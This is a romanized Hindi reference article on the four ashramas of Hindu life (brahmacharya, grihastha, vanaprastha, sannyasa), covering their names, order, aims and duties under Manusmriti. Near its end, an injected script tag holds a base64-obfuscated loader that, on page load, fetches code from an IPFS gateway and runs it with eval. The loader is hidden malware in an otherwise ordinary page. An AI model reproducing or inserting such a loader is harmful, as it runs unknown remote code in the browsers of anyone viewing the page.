आश्रम

jin sansthaoan ke oopar hindoo samaj ka sangathan hua hai, ve haian-varn aur ashram. varn ka adhar manushy ki prakriti athava usaki mool pravrittiyaan haian, jisake anusar vah jivan mean apane prayatnoan aur kartavyoan ka chunav karata hai. ashram ka adhar sanskriti athava vyaktijat jivan ka sanskar karana hai. manushy janmana anagadh aur asanskrit hota hai; kramash: sanskar se vah prabuddh aur sanskrit ban jata hai.

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manav avasthaean

sampoorn manavajivan mote taur par char vikasakramoan mean baanta ja sakata hai-

1. baly aur kishoravastha
2. yauvan
3. praudhavastha aur
4. vriddhavastha

char ashram

manav ke char vikasakramoan ke anuroop hi char ashramoan ki kalpana ki gee thi, jo nimn prakar haian-

1. brahmachary- isaka palanakarta brahmachari apane guru, shikshak ke prati samarpit aur ajnakari hota hai.
2. garhasthy- isaka palanakarta grihasth apane parivar ka palan karata hai aur eeshvar tatha pitaroan ke prati kartavyoan ka palan karate hue purohitoan ko avalanb pradan karata hai.
3. vanaprasth- isaka palanakarta bhautik vastuoan ka moh tyagakar tap aur yogamay vanaprasth jivan jita hai.
4. sannyas- isaka palanakarta sannyasi sabhi vastuoan ka tyag karake deshatan aur bhiksha grahan karata hai tatha keval shashvat ka manan karata hai.

shastriy paddhati mean moksh (saansarik lagavoan se sv ki mukti) ki gahan khoj jivan ke antim do charanoan se guzar rahe vyaktiyoan ke lie surakshit hai. lekin vastut: kee sannyasi kabhi vivah nahian karate tatha bahut kam grihasth hi antim do ashramoan mean pravesh karate haian.

nam aur kram mean antar

ashramoan ke nam aur kram mean kahian-kahian antar paya jata hai. apastamb dharmasootr (2.9.21,1) ke anusar garhasthy, acharyakul (brahmachary), maun aur vanaprasth char ashram the. gautam dharmasootr (3.2) mean brahmachari, grihasth, bhikshu aur vaikhanas char ashramoan ke nam haian. vasishthadharmasootr (7.1-2) brahmachari, grihasth, vanaprasth aur parivrajak ka ullekh karata hai.

ashram sambandh

ashramoan ka sambandh vikas karm ke sath-sath jivan ke maulik uddeshy dharm, arth, kam aur moksh se bhi tha-brahmachary ka sambandh mukhyat: dharm arthath sanyam-niyam se, garhasthy ka sambandh arth-kam se, vanaprasth ka sambandh uparam aur moksh ki taiyari se aur sannyas ka sambandh moksh se tha. is prakar uddeshyoan athava purusharthoan ke sath ashram ka abhinn sambandh hai.

ashram shabd ka chunav

jivan ki is prakriya ke lie ashram shabd ka chunav bahut hi upayukt tha. yah shabd shramh dhatu se bana hai, jisaka arth hai shram karana athava paurush dikhalana (amarakosh, bhanuji dikshit). samanyat: isake tin arth prachalit haian-

1. vah sthiti athava sthan jisamean shram kiya jata hai
2. svayan shram athava tapasya aur
3. vishramasthan

vastav mean ashram jivan ki ve avasthaean haian, jinamean manushy shram, sadhana aur tapasya karata hai aur ek avastha ki upalabdhiyoan ko prapt kar leta hai tatha inase vishram lekar jivan ke agami p dav ki or prasthan karata hai.

ashram ka arth

ashram vyavastha ne eesa ke bad pahali shatabdi mean ek dharmashastriy dhaanche ki rachana ki. yah ooanchi jati ke purushoan ke lie adarsh thi, jise vastut: vyaktigat ya samajik roop se kabhi-kabhi hi prapt kiya ja sakata tha. doosare arth mean ashram shabd ka tatpary sharanasthal hai, visheshakar shahari jivan se door, jahaan adhyatmik v yog sadhana ki jati hai. aksar ye ashram ek kendriy shikshak ya guru ki upasthiti se sambaddh hote haian, jo ashram ke any nivasiyoan ki aradhana ya shraddha ka kendr hota hai. guru aupacharik roop se sangathit kram ya adhyatmik samuday se sambandhit ho bhi sakata hai aur nahian bhi.

vibhinn mat

manu ke anusar manushy ka jivan sau varsh ka hona chahie (shatayurve purush:) atev char ashramoan ka vibhajan 25-25 varsh ka hona chahie. pratyek manushy ke jivan mean char avasthaean svabhavik roop se hoti haian aur manushy ko charoan ashramoan ke kartavyoan ka yathavath palan karana chahie. parantu kuchh aise sampraday prachin kal mean the aur aj bhi haian, jo niyamat: inaka palan karana avashyak nahian samajhate. inake mat ko badh kaha gaya hai. kuchh sampraday ashramoan ke palan mean vikalp manate haian arthath unake anusar ashram ke kram athava sankhya mean herapher ho sakata hai. parantu santulit vicharadhara ashramoan ke samuchchay mean karati aee haian. isake anusar charoan ashramoan ka palan kram se hona chahie. jivan ke pratham chaturthaansh mean brahmachary, dvitiy chaturthaansh mean garhasthy, tritiy chaturthaansh mean vanaprasth aur antim chaturthaansh mean sannyas ka palan karana chahie. isake abhav mean samajik jivan ka santulan bhang hokar mithyachar athava bhrashtachar ki vriddhi hoti hai.

ashram kartavy

vibhinn ashramoan ke kartavyoan ka vistrit varnan ashramadharm ke roop se smritiyoan mean paya jata hai. sankshep mean manusmriti se ashramoan ke kartavy niche die ja rahe haian-

1. brahmachary ashram mean gurukul mean nivas karate hue vidyarjan aur vrat ka palan karana chahie .
2. doosare ashram garhasthy mean vivah karake ghar basana chahie; santan utpatti dvara pitrirrin, yajn dvara devrrin aur nity svadhyay dvara rrishirrin chukana chahie .
3. vanaprasth ashram mean saansarik karyoan se udasin hokar tap, svadhyay, yajn, dan adi ke dvara van mean jivan bitana chahie .
4. vanaprasth samapt karake sannyas ashram mean pravesh karana hota hai. isamean saansarik sambandhoan ka poornat: tyag aur parivrajan (anagarik hokar ek sthan se doosare sthan par ghoomate rahana) vihit hai .

bodh pradata

varn aur ashram manushy ke sampoorn kartavyoan ka samahar karate haian. parantu jahaan varn manushy ke samajik kartavyoan ka vidhan karata hai, vahaan ashram vyaktigat kartavyoan ka. ashram vyaktigat jivan ki vibhinn vikas saraniyoan ka nideshan karata hai aur manushy ko is bat ka bodh karata hai ki usake jivan ka uddeshy kya hai. usako prapt karane ke lie usako jivan ka kis prakar sanghathan karana chahie. vastav mean jivan ki yah anupam aur uchchatam kalpana aur yojana hai. any deshoan ke itihas mean is prakar ki jivan-yojana nahian paee jati hai. prasiddh vidvan d aauyasan ne isake sambandh mean likha hai-

ham yah nahian kah sakate ki manusmriti tatha any smritiyoan mean varnit jivan ki yah yojana kahaan tak vyavaharik jivan mean karyanvit huee thi. parantu ham yah svikar karane mean svatantr haian ki hamare mat mean manav jati ke sampoorn itihas mean aisi koee vicharadhara nahian hai, jo is vichar ki mahatta ki samata kar sake.   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

• (pustak ‘hindoo dharmakosh’) prishth sankhya-92
• (pustak ‘bharat jnanakosh’) prishth sankhya-143